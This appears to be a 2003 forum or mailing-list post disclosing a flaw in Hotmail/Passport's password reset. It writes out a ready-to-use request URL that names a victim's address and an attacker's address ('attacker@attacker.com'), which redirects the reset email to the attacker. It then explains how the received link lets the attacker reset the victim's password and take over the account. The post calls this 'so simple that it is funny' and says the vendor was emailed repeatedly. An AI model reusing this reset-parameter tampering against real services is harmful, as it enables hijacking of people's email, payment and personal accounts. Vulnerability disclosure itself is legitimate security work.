    Has anyone else's account been locked down this morning (password doesn't
    work) when you tried it on your own account last night?

    Hotmail & Passport (.NET Accounts) Vulnerability

    There is a very serious and stupid vulnerability or badcoding in Hotmail /
    Passport’s (.NET Accounts)

    I tried sending emails several times to Hotmail / Passport contact
    addresses, but always met with the NLP bots.

    I guess I don’t need to go in details of how cruical and important Hotmail /
    Passport’s .NET Account passport is to anyone.

    You name it and they have it, E-Commerce, Credit Card processing, Personal
    Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

    It is so simple that it is funny.

    All you got to do is hit the following in your browser:

    https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.co
    m&id=&cb=&prefem=attacker@attacker.com&rst=1

    And you’ll get an email on attacker@attacker.com asking you to click on a
    url something like this:

    http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0
    &lc=1033

    From that url, you can reset the password and I don’t think I need to say
    anything more about it.

    Vulnerability / Flaw discovered : 12th April 2003
    Vendor / Owner notified : Yes (as far as emailing them more than 10 times is
    concerned)
